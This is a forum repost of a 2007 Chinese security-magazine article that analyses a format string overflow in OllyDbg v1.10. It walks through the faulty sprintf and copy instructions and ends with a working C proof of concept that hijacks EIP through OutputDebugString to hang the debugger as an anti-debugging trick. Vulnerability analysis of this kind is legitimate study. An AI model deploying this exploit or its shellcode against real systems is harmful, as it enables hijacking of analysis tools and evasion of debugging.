阅读:3163回复:2
OllyDbg Format String 0day分析和利用
本文已经发表在《黑客防线》2007年6月刊。作者及《黑客防线》保留版权,转载请注明原始出处。
适合读者:溢出爱好者 前置知识:汇编语言、缓冲区溢出基本原理 OllyDbg Format String 0day分析和利用 文/图 gyzy[江苏大学信息安全系&EST] OD作为一款Ring3下的调试器以优异的性能博得了广大密界爱好者的一致肯定,就在最近milw0rm上公布了一个OD 0 day的POC(OllyDbg v110 Local Format String Exploit),以前写了很多栈溢出的漏洞,却很少有Format String的漏洞,这次OD给我们提供了一个熟悉Format String问题的机会(只有原版的OD存在此问题,看雪论坛的修改版OllyIce不存在此问题)。 可能读者朋友对格式化串漏洞不太熟悉,格式化串其实也是很严重的漏洞,轻则泄露敏感信息,重则可以导致执行任意代码。这次OD出现的问题就是对格式化串过滤不严间接导致了缓冲区溢出的发生,保存在栈中的返回地址被覆盖。那么,哪些函数会引起格式化串漏洞呢?printf fprintf sprintf snprintf vfprintf vprintf vsprintf vsnprintf这些库函数。先来看一个简单的例子: #include <stdio.h> #include <stdlib.h> int main( int argc, char *argv[] ) { if( argc != 2 ) { printf("输入一个字符串\n"); return 1; } printf( argv[1] ); printf( "\n" ); return 0; } 程序很简单,就是打印程序的参数,比如参数为"Hello,world",那么程序就会输出"Hello,world"。假如我们输入的是%d又会怎么样呢,如图1: 图片:1.JPG 图1 4198693是十进制,16进制就是401125。正常的打印一个十进制数值应该是带参数的,比如printf("%d",i)。i就是一个整形变量。这里我们省略了后者,当所有参数压栈完毕调用printf函数的时候,printf并不能检查参数的正确性,只是机械式的从栈中取值作为参数,也就是我们看到的4198693,这个时候堆栈就被破坏了,栈中的信息就泄露了(比如密码一类的敏感信息的安全这时候就受到了威胁)。这只是一个简单的例子,现实中可能并不存在这样的漏洞,但却揭示了格式化串问题的严重性。假如提供的参数是%n和经过精心构造的话可以导致往任意内存地址写数据,这也就意味着可以使存在漏洞的程序执行我们提交的任意代码。 OD这一次出现问题的函数并不是printf,而是sprintf。尽管OD已经对OutputDebugString输出的字符串进行了长度检查,只接受255个字节,但是由于没有对提供的参数进行检查,所以间接导致了缓冲区的溢出,我简单模拟了出现问题的代码: #include <stdio.h> void fun() { char para[10]; sprintf(para,"%12uAAAAAAAAAAAAAAAAAAAAAAAAA"); } void main() { fun(); } 关键在%12u表示显示的无符号整数扩展成12位,不足以空格补足,由于para参数只有10个字节,所以保存在栈中的返回地址会被我们提供的AAAA覆盖,如图2: 图片:2.JPG 图2 只要我们恶意的调用OutputDebugString函数就可以使OD的EIP被我们提交的数据覆盖,例如OutputDebugString("%4602d 0x90 0x90.....")构造成这样的一个字符串输出,看看OD的反应,如图3: 图片:3.JPG 图3 %4602d表示将字符串扩展成4602个字节,呵呵,够长吧? 我们可以用OllyIce来调试原版的OD,原版OD再运行被调试程序(怎么有点像无间道),简单的跟踪以后,最终定位出问题的代码如下,由于栈中0012DA90保存的返回地址被覆盖,0042E258处的RETN指令将导致EIP被控制,如图4 图片:4.JPG 图4 在OC中给0012DA8C下硬断,看究竟是什么地方覆盖了0012DA90处的值,最终定位到如下指令将0012DA90处的返回地址给覆盖了: 004A353D |. 8B4D 10 MOV ECX,[ARG.3] 004A3540 |. 8BD1 MOV EDX,ECX 004A3542 |. D1E9 SHR ECX,1 004A3544 |. D1E9 SHR ECX,1 004A3546 |. FC CLD 004A3547 |. F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS> 其实错误原因很明显,OD只对OutputDebugString输出的长度进行了检查,但是却没有对内容进行过滤,就是里面的格式串引发了缓冲区溢出。这个漏洞总给人感觉是鸡肋,没什么利用价值,不过用作一种反调试的手段也算可以,可以让OD进入死循环,以下是我修改过的用作反调试的POC代码,ShellCode就是简单的跳转指令: #include <windows.h> #include <stdio.h> #define FORMAT_STRING "%4602d" #pragma comment(linker,"/ENTRY:WinMain") char shellcode[] ="\xEB\xFE"; int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { char* pszEvilBuffer; ULONG ulEvilBufSize; DWORD dwRetAddr = 0x7FFA4512; ulEvilBufSize = sizeof(FORMAT_STRING) + sizeof(dwRetAddr) + sizeof(shellcode); pszEvilBuffer = (char*)malloc(ulEvilBufSize); memset(pszEvilBuffer,0x90,ulEvilBufSize); int i = 0; memcpy(pszEvilBuffer+i, FORMAT_STRING, sizeof(FORMAT_STRING)-1); i += sizeof(FORMAT_STRING)-1; memcpy(pszEvilBuffer+i, &dwRetAddr, sizeof(dwRetAddr)); i += sizeof(dwRetAddr); memcpy(pszEvilBuffer+i, shellcode, sizeof(shellcode)-1); //输出调试字符串 OutputDebugString(pszEvilBuffer); free(pszEvilBuffer); return 0; } 用OD调试一下看看效果,如图5: 图片:5.JPG 图5 OD的CPU占用率100%了(我的机子是双核,所以是50%)。有兴趣的读者朋友还可以修改Shellcode,不过长度不能超过255字节。 有任何问题来我的博客留言:www.gyzy.org (文中所涉及的程序或代码,请到黑防官方网站下载,详细地址请看公共论坛置顶帖) |
|
|
沙发#
发布于:2007-07-31 12:41
好!精华
|
|
板凳#
发布于:2008-10-09 17:05
精华,呵呵
向楼主学习 |
|